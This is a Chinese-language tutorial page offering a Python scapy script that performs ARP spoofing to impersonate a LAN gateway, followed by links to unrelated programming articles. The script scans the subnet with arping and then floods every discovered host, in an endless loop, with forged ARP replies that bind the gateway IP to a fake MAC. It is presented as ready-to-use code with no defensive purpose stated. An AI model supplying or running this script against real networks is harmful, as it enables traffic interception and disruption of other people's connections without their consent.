python使用arp欺骗伪造网关的方法
作者:feiwen 时间:2023-01-02 19:22:48
本文实例讲述了python使用arp欺骗伪造网关的方法。分享给大家供大家参考。具体实现方法如下:
#coding:utf-8
'''
arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc
'''
from scapy.all import ARP,send,arping
import sys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#伪造网关mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
#伪造来自网关的arp应答
t=p
t.hwdst=hw
t.pdst=ip
send(t)
def get_host():
#得到在线主机的mac地址和对应ip地址
hw_ip = {}
sys.stdout = open('host.info','w')
arping(IPADDR)
sys.stdout = stdout
f = open('host.info','r')
info = f.readlines()
f.close
del info[0]
del info[0]
for host in info :
temp = re.split(r'\s+',host)
hw_ip[temp[1]] = temp[2]
return hw_ip
if __name__ == "__main__":
hw_ip = get_host()
while 1 :
for i in hw_ip :
arp_hack(hw=i,ip=hw_ip[i])
希望本文所述对大家的Python程序设计有所帮助。
标签:python,arp,网关
0
投稿
猜你喜欢
python中函数返回多个结果的实例方法
2023-02-27 14:46:50
对Python中plt的画图函数详解
2023-08-16 08:49:07
浅析python参数的知识点
2022-12-16 01:39:32
微信小程序(十二)text组件详细介绍
2024-04-19 09:43:53
Django如何批量创建Model
2022-12-29 15:40:39
sql中时间以5分钟半个小时任意间隔分组的实现方法
2024-01-25 04:23:39
SQL server 自增ID--序号自动增加的字段操作
2024-01-29 03:51:55
PHP PDOStatement::columnCount讲解
2023-06-04 22:24:39
python根据出生日期返回年龄的方法
2023-10-10 23:04:53
分享6个Go处理字符串的技巧小结
2024-01-30 17:39:07
pycharm利用pyspark远程连接spark集群的实现
2023-10-08 06:49:00
python使用PyGame模块播放声音的方法
2021-02-22 06:50:58
Python实现手写一个类似django的web框架示例
2022-06-18 03:17:26
Mysql 忘记root密码和修改root密码的解决方法(小结)
2024-01-20 09:01:22
Python生成pdf目录书签的实例方法
2023-10-11 15:43:21
学习python需要有编程基础吗
2022-05-01 15:23:47
JavaScript模块规范之AMD规范和CMD规范
2024-04-30 08:52:46
Keras多线程机制与flask多线程冲突的解决方案
2023-09-12 02:10:51
pytorch tensor计算三通道均值方式
2022-06-26 00:02:41
基于Django的乐观锁与悲观锁解决订单并发问题详解
2021-07-14 19:42:08